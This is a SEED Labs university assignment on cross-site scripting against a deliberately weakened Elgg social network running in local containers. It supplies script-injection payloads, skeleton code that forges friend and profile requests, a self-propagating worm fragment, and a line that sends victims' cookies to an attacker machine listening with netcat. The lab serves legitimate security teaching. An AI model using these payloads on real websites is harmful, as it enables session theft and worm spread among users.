Lab 2 - XSS

NOTE: Copyright © 2006 - 2020 by Wenliang Du. This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, attackers can steal a victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting XSS vulnerabilities. To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named `Elgg` in our pre-built Ubuntu VM image. `Elgg` is a very popular open-source web application for social network, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in `Elgg` in our installation, intentionally making `Elgg` vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles. In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified `Elgg`, in a way that is similar to what Samy Kamkar did to MySpace in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among the users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list. This lab covers the following topics: - Cross-Site Scripting attack - XSS worm and self-propagation - Session cookies - HTTP GET and POST requests - JavaScript and Ajax - Content Security Policy (CSP)

Lab Setup

This is the same as the previous lab. We'll be using **SEED Ubuntu-20.04 VM** for this lab. Make sure you've downloaded and installed the VM on you local machine. Follow this page for detailed instructions on how to download and install this VM. Add the following entry in `/etc/hosts` file :

```
10.9.0.5    www.seed-server.com
```

If there's already an entry corresponding to `www.seed-server.com`, remove it and add the above.

Container Setup

The lab uses docker containers. Two containers will be used here, one for hosting a web application and one for the database for the web application. Inside the VM, download the *Labsetup.zip* file from https://seedsecuritylabs.org/Labs_20.04/Web/Web_XSS_Elgg. Unzip it, enter the Labsetup folder, and use the `docker-compose.yml` file to set up the lab environment. Run `dcbuild` and `dcup` consecutively in the same folder as the `docker-compose.yml` to start the containers. Now if you hit `http://www.seed-server.com` in firefox, you'll see the vulnerable web application. For more details on working with docker, check this.. If you haven't gone through it already, its highly recommended that you get yourself familiar with the docker commands.

About the `Elgg` Web Application

We use an open-source web application called `Elgg` in this lab. `Elgg` is a web-based social-networking application. It is already set up in the provided container images; its URL is http://www.seed-server. com. We use two containers, one running the web server (10.9.0.5) , and the other running the MySQL database (10.9.0.6). The IP addresses for these two containers are hardcoded in various places in the configuration, so please do not change them from the docker-compose.yml file.

User Accounts

We have created several user accounts on the `Elgg` server; the user name and passwords are given in the following.

```
----------------------------
UserName | Password
----------------------------
admin    | seedelgg
alice    | seedalice
boby     | seedboby
charlie  | seedcharlie
samy     | seedsamy
----------------------------
```

Lab Tasks

When you copy and paste code from this PDF file, very often, the quotation marks, especially single quote, may turn into a different symbol that looks similar. They will cause errors in the code, so keep that in mind. When that happens, delete them, and manually type those symbols.

Preparation

In this lab, we need to construct HTTP requests. To figure out what an acceptable HTTP request in `Elgg` looks like, we need to be able to capture and analyze HTTP requests. We can use a Firefox add-on called `"HTTP Header Live"` for this purpose. Before you start working on this lab, you should get familiar with this tool.

Task 1

The objective of this task is to embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script> alert('XSS');</script>
```

If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user who views your profile will see the alert window. In this case, the JavaScript code is short enough to be typed into the short description field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the `src` attribute in the `<script>` tag. See the following example:

```
<script type="text/javascript"
    src="http://www.example.com/myscripts.js">
</script>
```

In the above example, the page will fetch the JavaScript program from http://www.example.com, which can be any web server.

Task 2

The objective of this task is to embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. This can be done by adding some additional code to the JavaScript program in the previous task.

Task 3

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy Worm). We will write an XSS worm that adds Samy as a friend to any other user that visits Samy's page. This worm does not self-propagate; in task 6, we will make it self-propagating. In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to add Samy as a friend to the victim. We have already created a user called Samy on the Elgg server (the user name is samy). To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg. More specifically, we need to figure out what are sent to the server when a user adds a friend. Firefox's Web Developers tool or the HTTP Header Live add-on can help us get the information. It can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. Once we understand what the add-friend HTTP request look like, we can write a JavaScript program to send out the same HTTP request. We provide a skeleton JavaScript code that aids in completing the task.

```
<script type="text/javascript">
    window.onload = function () {
    var Ajax = null;
    var ts = "&__`Elgg`_ts=" + `Elgg`.security.token.__`Elgg`_ts;
    var token = "&__`Elgg`_token=" + `Elgg`.security.token.__`Elgg`_token;

    //Construct the HTTP request to add Samy as a friend.
    var sendurl = ...; //FILL IN

    //Create and send Ajax request to add friend
    Ajax = new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.send();
}
</script>
```

The above code should be placed in the "About Me" field of Samy's profile page. This field provides two editing modes: Editor mode (default) and Text mode. The Editor mode adds extra HTML code to the text typed into the field, while the Text mode does not. Since we do not want any extra code added to our attacking code, the Text mode should be enabled before entering the above JavaScript code. This can be done by clicking on "Edit HTML", which can be found at the top right of the "About Me" text field.

Task 4

The objective of this task is to modify the victim's profile when the victim visits Samy's page. Specifically, modify the victim's "About Me" field so that it contains this message: "Samy Is My Hero". We will write an XSS worm to complete the task. This worm does not self-propagate; in task 6, we will make it self-propagating. Similar to the previous task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. To modify profile, we should first find out how a legitimate user edits or modifies his/her profile in Elgg. More specifically, we need to figure out how the HTTP POST request is constructed to modify a user's profile. We will use Firefox's Web Developers tool or the `HTTP Header Live` add-on. Once we understand how the modify-profile HTTP POST request looks like, we can write a JavaScript program to send out the same HTTP request. We provide a skeleton JavaScript code that aids in completing the task.

```
<script type="text/javascript">
window.onload = function(){
    //JavaScript code to access user name, user guid, Time Stamp __`Elgg`_ts
    //and Security Token __`Elgg`_token
    var userName = "&name=" + `Elgg`.session.user.name;
    var guid = "&guid=" + `Elgg`.session.user.guid;
    var ts = "&__`Elgg`_ts=" + `Elgg`.security.token.__`Elgg`_ts;
    var token = "&__`Elgg`_token=" + `Elgg`.security.token.__`Elgg`_token;

    //Construct the content of your url.
    var content = ...; //FILL IN

    var samyGuid = ...; //FILL IN

    var sendurl = ...; //FILL IN

    if(`Elgg`.session.user.guid != samyGuid)
    {

    //Create and send Ajax request to modify profile
    var Ajax = null;
    Ajax = new XMLHttpRequest();
    Ajax.open("POST", sendurl, true);
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
    }
}
</script>
```

Similar to previous task, the above code should be placed in the "`About Me`" field of Samy's profile page, and the Text mode should be enabled before entering the above JavaScript code. **Question:** Why do we need Line ? *Remove this line*, and repeat your attack. Report and explain your observation.

Task 5

In Tasks 4 & 5, we befriended anyone who'd visit Samy's profile and changed the content of the "`About Me`" section of the visitor respectively. In this task you have to do both of these *simultaneously* i.e. whenever anyone visits Samy's profile, Samy should be added to their friend list and at the same, the "`Brief Description`" field of the visitor should contain the message "`Samy Is My Hero`". **Hint:** You might have to use two separate requests.

Task 6

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. This is exactly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a *self-propagating cross-site scripting worm.* In this task, you need to implement such a worm, which not only modifies the victim's profile and adds the user "Samy" as a friend, but also add a copy of the worm itself to the victim's profile, so the victim is turned into an attacker. To achieve self-propagation, when the malicious JavaScript modifies the victim's profile, it should copy itself to the victim's profile. There are several approaches to achieve this, and we will discuss two common approaches. **Link Approach**: If the worm is included using the `src` attribute in the `<script>` tag, writing self propagating worms is much easier. We have discussed the src attribute in Task 1, and an example is given below. The worm can simply copy the following `<script>` tag to the victim's profile, essentially infecting the profile with the same worm.

```
<script type="text/javascript" src="http://www.example.com/xss_worm.js">
</script>
```

DOM Approach: If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and displays it in an alert window:

```
<script id="worm" type="text/javascript">
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    alert(jsCode);
</script>
```

It should be noted that `innerHTML` (line) only gives us the inside part of the code, not including the surrounding `script` tags. We just need to add the beginning tag `<script id="worm">` and the ending tag `</script>` (line) to form an identical copy of the malicious code. When data are sent in HTTP POST requests with the `Content-Type` set to `application/x-www-form-urlencoded`, which is the type used in our code, the data should also be encoded. The encoding scheme is called `URL encoding`, which replaces non-alphanumeric characters in the data with `%HH`, a percentage sign and two hexadecimal digits representing the ASCII code of the character. The `encodeURIComponent()` function in line is used to URL-encode a string. Note that, You have to use the DOM approach in this lab. So your task is to get the same outcome as in Task 5 and also achieve Self-Propagation.

Task 7

Suppose you know Bob's email address which is ‘`Elgg`_boby@seed-labs.com`. Now, write a malicious javascript and put it in Samy's`About Me‘ section so that whenever Bob visits Samy's profile, his Display name would be changed to **Bola**. **Hint:** Check the profile settings page and investigate how Display name change request works.

Task 8

In this task, the attacker wants to level up and send the cookies to him-self/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request. We can do this by having the malicious JavaScript insert an `<img>` tag with its `src` attribute set to the attacker's machine. When the JavaScript inserts the `img` tag, the browser tries to load the image from the URL in the `src` field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 5555 of the attacker's machine (with IP address `10.9.0.1`), where the attacker has a TCP server listening to the same port.

```
<script> document.write('<img src=http://10.9.0.1:5555?c=' + escape(document.cookie) + ' >')
</script>
```

A commonly used program by attackers is `netcat` (or `nc`) , which, if running with the “`-l`” option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client and sends to the client whatever is typed by the user running the server. Type the command below in your host machine to listen on port `5555`:

```
$ nc -lknv 5555
```

The `-l` option is used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host. The `-nv` option is used to have `nc` give more verbose output. The `-k` option means when a connection is completed, listen for another one.

Task 9

Using the technique covered in the previous tasks, send the `name` and `guid` of the user visiting Samy's profile to attacker controlled machine.

Task 10

Login to Alice's profile. Using the `Edit Profile` section, add *01234567890* as the `Mobile phone` and *g3n3sis* as the `Twitter username`. Save and log out. Repeat the same thing for Charlie by adding *01111111111* as the `Mobile No` and *chaplin* as the `Twitter username`. Now, write a self-replicating worm and put it in Samy's `About Me` section so that whenever a user visits Samy's profile, the visitor's profile is infected and then when the visitor goes back to his/her profile, his/her `Mobile phone` and `Twitter username` would be sent to attacker controlled machine. Show proof of this task by first visiting Samy from Alice's profile and then visiting Alice's profile from Charlie's. ## Submission You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not result in full marks.